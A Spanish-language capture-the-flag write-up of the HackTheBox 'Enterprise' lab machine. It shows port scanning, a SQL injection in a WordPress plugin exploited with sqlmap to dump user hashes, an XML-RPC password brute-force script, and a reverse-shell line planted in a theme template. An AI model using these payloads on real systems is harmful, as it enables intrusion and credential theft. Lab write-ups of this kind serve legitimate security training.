Enterprise


En este writeup vamos a estar resolviendo la máquina Enterprise de la plataforma de HackTheBox, Es una máquina medium muy interesante, Vamos a estar tocando enumeración web de Wordpress y Joomla, SQL injections, Vamos a escapar de un docker y por último vamos a explotar un Buffer overflow muy interesante con la técnica ret2libc

November 11, 202329 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

ping -c 1 10.10.10.61
PING 10.10.10.61 (10.10.10.61) 56(84) bytes of data.
64 bytes from 10.10.10.61: icmp_seq=1 ttl=63 time=94.2 ms

--- 10.10.10.61 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 94.201/94.201/94.201/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.61 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.61
   5   │     [*] Open ports: 22,80,443,8080,32812
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

$ nmap -sCV -p22,80,443,8080,32812 10.10.10.61 -oN versions

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
|   256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_  256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp    open  http     Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-title: USS Enterprise – Ships Log
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp   open  ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.25 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after:  2017-09-24T10:35:14
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp  open  http     Apache httpd 2.4.10 ((Debian))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.10 (Debian)
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
32812/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|     Enter Bridge Access Code: 
|     Invalid Code
|     Terminating Console
|   NULL: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|_    Enter Bridge Access Code:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port32812-TCP:V=7.94%I=7%D=11/11%Time=654FAA2C%P=x86_64-pc-linux-gnu%r(
SF:NULL,ED,"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_______\x20_______\x20\x20______\x20_______\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\
SF:x20\x20\|_____\|\x20\|_____/\x20\|______\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\|_____\x20\|_____\x20\x20\|\x20\x20\x20\x20\x20\|\x20\|\x20
SF:\x20\x20\x20\\_\x20______\|\n\nWelcome\x20to\x20the\x20Library\x20Compu
SF:ter\x20Access\x20and\x20Retrieval\x20System\n\nEnter\x20Bridge\x20Acces
SF:s\x20Code:\x20\n")%r(GenericLines,110,"\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______\
SF:x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\
SF:x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\x
SF:20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x2
SF:0to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Syst
SF:em\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermin
SF:ating\x20Console\n\n")%r(GetRequest,110,"\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20_____
SF:_\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x2
SF:0\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|_____
SF:_\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|
SF:\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\
SF:x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Sy
SF:stem\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTerm
SF:inating\x20Console\n\n")%r(HTTPOptions,110,"\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20__
SF:____\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20
SF:\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|__
SF:____\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x2
SF:0\|\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelco
SF:me\x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x2
SF:0System\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nT
SF:erminating\x20Console\n\n");
Service Info: OS: Linux; CPE: cpe:/
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 443

Nmap reporto que hay una web corriendo por el puerto 443. Al entrar, esta web muestra la página default de apache en un ubuntu. Puede ser que existan otras rutas, así que vamos a hacer fuzzing

wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.61/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                
=====================================================================     
000000094:   301        9 L      28 W       312 Ch      "files" 
Explicación parámetros
  • -c: Mostrar el resultado con colores
  • -t: Definir el tiempo del escaneo
  • –hc=404: Con esto le decimos que no nos interesan las respuestas cuyo código de estado sea 404, lo que significa que no queremos que nos reporte páginas que no existen
  • -w: Diccionario
  • FUZZ: Es donde va a ir probando el contenido del diccionario

Wfuzz ha reportado la exsistencia de un directorio llamado files. Al entrar se ve un archivo llamado lcars.zip que si lo descargamos y descomprimimos vemos que contiene 3 archivos:

  • lcars.php

    Este archivo está vacío, no contiene código php, pero sí tiene unos comentarios que nos hacen pensar que es un plugin de alguna web. Podemos ver el nombre del plugin: lcars. El nombre del dominio: enterprise.htb. Y 3 comentarios: Need to create the user interface, need to finsih the db interface y need to make it secure. El último comentario dice que “lo tiene que hacer más seguro”, puede ser que el plugin sea vulnerable.

    <?php
    /*
    *     Plugin Name: lcars
    *     Plugin URI: enterprise.htb
    *     Description: Library Computer Access And Retrieval System
    *     Author: Geordi La Forge
    *     Version: 0.2
    *     Author URI: enterprise.htb
    *                             */
    
    // Need to create the user interface. 
    
    // need to finsih the db interface
    
    // need to make it secure
    
    ?> 
    
  • lcars_dbpost.php

    Este archivo contiene código php, en el código se incluye el archivo /var/www/html/wp-config.php que seguramente es el que tiene las credenciales de la base de datos. Después hace una petición a la base de datos SELECT post_title FROM wp_posts WHERE ID = $query en la cual se están seleccionando los “post_title” de la tabla wp_posts donde el id es igual a $query y $query equivale a lo que se manda por el método get en el parámetro query. Antes de hacer la petición convierte la data que se pasa por el parámetro query a un int, un número, lo que da a entender que está esperando un número, esto no tiene pinta de ser vulnerable, ya que convierte a int la data que le pasamos.

      <?php
    include "/var/www/html/wp-config.php";
    $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
    // Test the connection:
    if (mysqli_connect_errno()){
        // Connection Error
        exit("Couldn't connect to the database: ".mysqli_connect_error());
    }
    
    
    // test to retireve a post name
    if (isset($_GET['query'])){
        $query = (int)$_GET['query'];
        $sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
        $result = $db->query($sql);
        if ($result){
            $row = $result->fetch_row();
            if (isset($row[0])){
                echo $row[0];
            }
        }
    } else {
        echo "Failed to read query";
    }
    
    
    ?> 
    
  • lcars_db.php

    Por último el archivo lcars_db.php también contiene código php, en el código se vuelve a incluir el archivo /var/www/html/wp-config.php que como dije en el anterior, seguramente es el archivo que contiene las credenciales de la base de datos. Después hace una petición a la base de datos en la cual selecciona los ID de la tabla “wp_posts” donde la columna “post_name” sea igual a $query. El script con $query se refiere a la data que le mandamos con el metodo GET por el parametro query SELECT ID FROM wp_posts WHERE post_name = $query. Este archivo cambia un poco, ya que la petición no es la misma y $query ya no es un número. Al no convertir a int nuestro input, se pone directamente nuestro input en la petición, sin ningún tipo de sanitización, lo que parece que puede ser vulnerable a una SQLI

    <?php
    include "/var/www/html/wp-config.php";
    $db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
    // Test the connection:
    if (mysqli_connect_errno()){
        // Connection Error
        exit("Couldn't connect to the database: ".mysqli_connect_error());
    }
    
    
    // test to retireve an ID
    if (isset($_GET['query'])){
        $query = $_GET['query'];
        $sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
        $result = $db->query($sql);
        echo $result;
    } else {
        echo "Failed to read query";
    }
    
    
    ?>
    

enterprise.htb

En el primer archivo dentro de lcars se identificó un comentario en el cual ponía un dominio:

Plugin URI: enterprise.htb

Para hacer que funcione el dominio hay que añadirlo en el /etc/hosts acompañado de la ip de la máquina víctima, para qué nuestra máquina sepa a que estamos haciendo referencia cuando le hablamos del enterprise.htb.

10.10.10.61 enterprise.htb

Una vez completado este paso ya podemos entrar a la web con el dominio. Pero antes que nada vamos a hacer un whatweb para saber un poco más de información sobre la web

whatweb enterprise.htb

http://enterprise.htb [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], Email[wordpress@example.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[10.10.10.61], JQuery[1.12.4], MetaGenerator[WordPress 4.8.1], PHP[5.6.31], PoweredBy[WordPress], Script[text/javascript], Title[USS Enterprise &#8211; Ships Log], UncommonHeaders[link], WordPress[4.8.1], X-Powered-By[PHP/5.6.31]

Del resultado del whatweb podemos ver que es un Wordpress de versión 4.8.1 (versión bastante desactualizada)

Sabiendo que es un wordpress podemos usar la herramienta wpscan para enumerar usuarios.

wpscan --url=http://enterprise.htb -e u

[i] User(s) Identified:

[+] william.riker
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] william-riker
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Ha encontrado 2 posibles usuarios william.riker y william-riker, básicamente son el mismo usuario, pero en partes distintas de la web por lo que está escrito de distinta forma, debajo de william.riker pone Login Error Messages así que vamos a suponer que el usuario es william-riker

Explotación SQLI

Ahora podríamos probar de ver si el plugin que se mencionaba en la otra web está instalado en este wordpress, para saberlo sin estar autenticados vamos a hacer lo siguiente: Los plugins en wordpress suelen estar en wp-content/plugins/ asi que lo que pode mos hacer es intentar entrar en la carpeta wp-content/plugins/lcars que debería ser la carpeta del plugin, ya que se llama lcars. Sí hacemos un curl en la carpeta nos responde con un código 403 Lo que significa forbidden

curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/lcars/

403

Pero si hacemos la misma petición a un servidor random, nos devuelve un código 404, Not Found

curl -o /dev/null -s -w "%{http_code}\n" enterprise.htb/wp-content/plugins/testing/

404

Con estos dos comandos podemos sacar la conclusión de que si existe una carpeta llamada lcars, pero no tenemos permisos para ver el contenido que hay en ella, pero jugamos con ventaja, ya que hemos visto el código del plugin y ya sabemos qué archivos puede haber y cuál puede ser vulnerable.

Vamos a probar de ver con curl si existe el archivo lcars_db.php que habíamos visto anteriormente que parecía que podía ser vulnerable a SQLI

curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php"

Failed to read query

Sí recordamos, le podíamos mandar cosas por el método GET con el parámetro query

curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=test"
 

Pero no responde con nada. Vamos a probar de añadir una inyección sql que lo que va a hacer es que la petición tarde 5 segundos en procesarse 1 and sleep(5), esto lo vamos a juntar con el comando de curl url encodeado y el comando time para que nos diga cuanto tiempo tarda en ejecutarse el comando. (Para url encodear el payload de la SQLI se puede hacer con una web o manualmente cambiando los espacios por %20 y los “()” por %28 y %29)

time curl "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1%20and%20sleep%285%29"

<br />
<b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br />

real	6.71s
user	0.00s
sys	0.01s
cpu	0%

Confirmado, es vulnerable, le dijimos a la base de datos que hiciera un sleep de 5 segundos y la peticion ha tardado en llegar 6.71, lo que significa que ha funcionado

Para automatizar la inyección vamos a usar la herramienta sqlmap, sqlmap es una herramienta que en algunas certificaciones como OSCP está prohibida, pero para esta máquina va muy bien, ya que haciéndolo manual tardaríamos mucho, muchísimo!

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch

Parameter: query (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: query=(SELECT (CASE WHEN (9063=9063) THEN 1 ELSE (SELECT 3395 UNION SELECT 7761) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: query=1 AND (SELECT 6881 FROM(SELECT COUNT(*),CONCAT(0x71766b7171,(SELECT (ELT(6881=6881,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: query=1 AND (SELECT 1921 FROM (SELECT(SLEEP(5)))CmQp)

Sqlmap nos confirma que es vulnerable y nos dice los 3 tipos de SQLI que se pueden usar

  • boolean-based blind
  • error-based
  • time-based blind

Para enumerar las bases de datos vamos a usar el parámetro --dbs

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch --dbs

available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb

Una vez que ya sabemos que bases de datos, vamos a ver qué tablas hay de la base de datos del wordpress, para ello con -D vamos a especificar la base de datos y con --tables vamos a listar las tablas

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress --tables

Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+

Ahora vamos a sacar toda la información de la tabla wp_users, para especificar la tabla vamos a usar -T y para ver el contenido --dump

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D wordpress -T wp_users --dump
                                                 
Database: wordpress
Table: wp_users
[1 entry]
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass                          | user_email                   | user_login    | user_status | display_name  | user_nicename | user_registered     | user_activation_key |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+
| 1  | <blank>  | $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2. | william.riker@enterprise.htb | william.riker | 0           | william.riker | william-riker | 2017-09-03 19:20:56 | <blank>             |
+----+----------+------------------------------------+------------------------------+---------------+-------------+---------------+---------------+---------------------+---------------------+

Ya podemos confirar la existencia del usuario william.riker y tenemos su contraseña hasheada: $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.. Este hash lo podemos intentar romper de la siguiente forma.

echo '$P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.' > hash
                                                                                                     
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

Lo dejé corriendo un buen rato y nada, no puede sacar la pass, así que vamos a seguir enumerando la base de datos. Vamos a ver el contenido de la tabla wp_posts

En la columna post_content vemos que hay 3 entradas que contienen el siguiente texto

Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n

Para que interprete los enters podemos usar python:

$python3

>>> print('Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n')


Needed somewhere to put some passwords quickly

ZxJyhGem4k338S2Y

enterprisencc170

ZD3YxfnSjezg67JZ

u*Z14ru0p#ttj83zS6

Parece que ya tenemos 4 contraseñas que a lo mejor son las del wordpress. No las vamos a probar una a una, vamos a hacer fuerza bruta automatizada de 3 formas distintas


Este wordpress tiene el xmlrpc.php accesible así que nos podemos aprovechar de él para hacer la fuerza bruta. Primero vamos a listar los métodos que tiene disponibles, mandándole una petición por post con la siguiente data

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>system.listMethods</methodName> 
<params></params> 
</methodCall>
curl -X POST "http://enterprise.htb/xmlrpc.php" -d@data.xml
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  .....
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

El método wp.getUsersBlogs está disponible, con este método podemos hacer fuerza bruta con la siguiente data sustituyendo el parámetro username por el usuario y password por la contraseña

<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>USERNAME</value></param> 
<param><value>PASSWORD</value></param> 
</params> 
</methodCall>

Al mandar esta petición recibimos lo siguiente

curl -X POST “http://enterprise.htb/xmlrpc.php” -d@data.xml

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
....
          <value><string>Incorrect username or password.</string></value>
....
</methodResponse>

Ahora vamos a hacer un script en python para automatizar esta comprobación de usuarios y guardaremos todos las contraseñas en un archivo llamado passwords.txt

import requests
from pwn import *

url = "http://enterprise.htb/xmlrpc.php"
dict = "passwords.txt"
user = "william.riker"


data = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>{}</value></param>
<param><value>{}</value></param>
</params>
</methodCall>
"""

p1 = log.progress("Número de contraseñas probadas")
p2 = log.progress("Contraseña")

words = 0

with open(dict, 'r') as diccionario:
        for i in diccionario:
                words += 1
                p1.status(words)
                a = requests.post(url, data=data.format(user, i))

                if "Incorrect username or password" not in a.text:
                        p2.success(i)
                        p1.success(words)

Al principio del script se declaran 4 variables, la url con la ruta del xmlrpc.php, el diccionario de posibles contraseñas, el usuario con el cual se van a probar las contraseñas y la data que se va a mandar por post, con unos “{}” donde iría el user y la pass, indicando que ahí va a ir una variable que haremos más adelante. Después abrimos el diccionario y hacemos un bucle for por cada línea que haya en el diccionario. A continuación se manda una solicitud con la contraseña que toca en la iteración del diccionario y se comprueba si la respuesta contiene la frase “Incorrect username or password”. Si no contiene esa frase significa que las credenciales son correctas

python3 script.py
[+] Número de contraseñas probadas: 4
[+] Contraseña: u*Z14ru0p#ttj83zS6

Ahora ya tenemos la contraseña del wordpress y podemos iniciar sesión en /wp-admin, una vez iniciada la sesión para mandarnos una reverse shell simplemente vamos a Appearance > Editor > 404 template. Vamos a modificar el 404.php que es el que se muestra cuando vamos a una ruta equivocada y vamos a añadir la siguiente línea

system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');

Nos ponemos en escucha con netcat

nc -nlvp 443
Explicación parámetros
  • n: Sirve para que no haga la resolución de DNS
  • l: Habilitar modo escucha de netcat
  • v: Verbose, modo detallado de netcat
  • p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha

Por último hacemos un curl a un post que no exsísta

curl http://enterprise.htb/?p=10000000

Y recibimos la conexión

listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 32890
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b8319d86d21e:/var/www/html$ 

Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb, pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por último si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

Al ver nuestra ip vemos que no es la de la máquina víctima:

www-data@b8319d86d21e:/var/www/html$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 scope global eth0
       valid_lft forever preferred_lft forever

Si listamos el contenido de la raíz vemos que estamos en un contenedor docker por la existencia del archivo .dockerenv

www-data@b8319d86d21e:/var/www/html$ ls -la /

total 72
drwxr-xr-x  73 root root 4096 May 30  2022 .
drwxr-xr-x  73 root root 4096 May 30  2022 ..
-rwxr-xr-x   1 root root    0 Sep  3  2017 .dockerenv

Volviendo al tema de la ip hemos visto que tenemos la 172.17.0.3 la 172.17.0.1 es la máquina host que seguramente será la 10.10.10.61. Pero es raro que se nos haya asignado la ip 172.17.0.3 y no la 172.17.0.2, puede ser que haya más de un contenedor docker y que en la .2 haya un contenedor. Esto lo podemos comprobar con un ping.

www-data@b8319d86d21e:/var/www/html$ ping -c 1 172.17.0.2

PING 172.17.0.2 (172.17.0.2): 56 data bytes
64 bytes from 172.17.0.2: icmp_seq=0 ttl=64 time=0.061 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.061/0.061/0.061/0.000 ms

Efectivamente existe un contenedor en la .2. Si volvemos al inicio, había una tercera web corriendo por el puerto 8080, antes de entrar vamos a hacerle un whatweb como la de wordpress para ver que es.

whatweb 10.10.10.61:8080

http://10.10.10.61:8080 [200 OK] Apache[2.4.10], Bootstrap, Cookies[14cd8f365a67fad648754407628a1809], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], HttpOnly[14cd8f365a67fad648754407628a1809], IP[10.10.10.61], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PHP[7.0.23], PasswordField[password], Script[application/json], Title[Home], X-Powered-By[PHP/7.0.23]

¡Es un joomla! Sí recordamos en la sqli de wordpress había una base de datos de joomla así que podemos sacar usuarios y contraseñas. Primero enumeramos las tablas.

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb --tables

Database: joomladb
[72 tables]
+-------------------------------+
| edz2g_assets                  |
| edz2g_associations            |
| edz2g_banner_clients          |
| edz2g_banner_tracks           |
| edz2g_banners                 |
| edz2g_categories              |
| edz2g_contact_details         |
| edz2g_content                 |
| edz2g_content_frontpage       |
| edz2g_content_rating          |
| edz2g_content_types           |
| edz2g_contentitem_tag_map     |
| edz2g_core_log_searches       |
| edz2g_extensions              |
| edz2g_fields                  |
| edz2g_fields_categories       |
| edz2g_fields_groups           |
| edz2g_fields_values           |
| edz2g_finder_filters          |
| edz2g_finder_links            |
| edz2g_finder_links_terms0     |
| edz2g_finder_links_terms1     |
| edz2g_finder_links_terms2     |
| edz2g_finder_links_terms3     |
| edz2g_finder_links_terms4     |
| edz2g_finder_links_terms5     |
| edz2g_finder_links_terms6     |
| edz2g_finder_links_terms7     |
| edz2g_finder_links_terms8     |
| edz2g_finder_links_terms9     |
| edz2g_finder_links_termsa     |
| edz2g_finder_links_termsb     |
| edz2g_finder_links_termsc     |
| edz2g_finder_links_termsd     |
| edz2g_finder_links_termse     |
| edz2g_finder_links_termsf     |
| edz2g_finder_taxonomy         |
| edz2g_finder_taxonomy_map     |
| edz2g_finder_terms            |
| edz2g_finder_terms_common     |
| edz2g_finder_tokens           |
| edz2g_finder_tokens_aggregate |
| edz2g_finder_types            |
| edz2g_languages               |
| edz2g_menu                    |
| edz2g_menu_types              |
| edz2g_messages                |
| edz2g_messages_cfg            |
| edz2g_modules                 |
| edz2g_modules_menu            |
| edz2g_newsfeeds               |
| edz2g_overrider               |
| edz2g_postinstall_messages    |
| edz2g_redirect_links          |
| edz2g_schemas                 |
| edz2g_session                 |
| edz2g_tags                    |
| edz2g_template_styles         |
| edz2g_ucm_base                |
| edz2g_ucm_content             |
| edz2g_ucm_history             |
| edz2g_update_sites            |
| edz2g_update_sites_extensions |
| edz2g_updates                 |
| edz2g_user_keys               |
| edz2g_user_notes              |
| edz2g_user_profiles           |
| edz2g_user_usergroup_map      |
| edz2g_usergroups              |
| edz2g_users                   |
| edz2g_utf8_conversion         |
| edz2g_viewlevels              |
+-------------------------------+

Ahora vamos a ver el contenido de la tabla edz2g_users

sqlmap --url "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --batch -D joomladb -T edz2g_users --dump

Database: joomladb
Table: edz2g_users
[2 entries]
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| id  | otep    | email                          | name       | otpKey  | params                                                                                       | block   | password                                                     | username        | sendEmail | activation | resetCount | registerDate        | requireReset | lastResetTime       | lastvisitDate       |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+
| 400 | <blank> | geordi.la.forge@enterprise.htb | Super User | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0       | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge | 1         | 0          | 0          | 2017-09-03 19:30:04 | 0            | 0000-00-00 00:00:00 | 2017-10-17 04:24:50 |
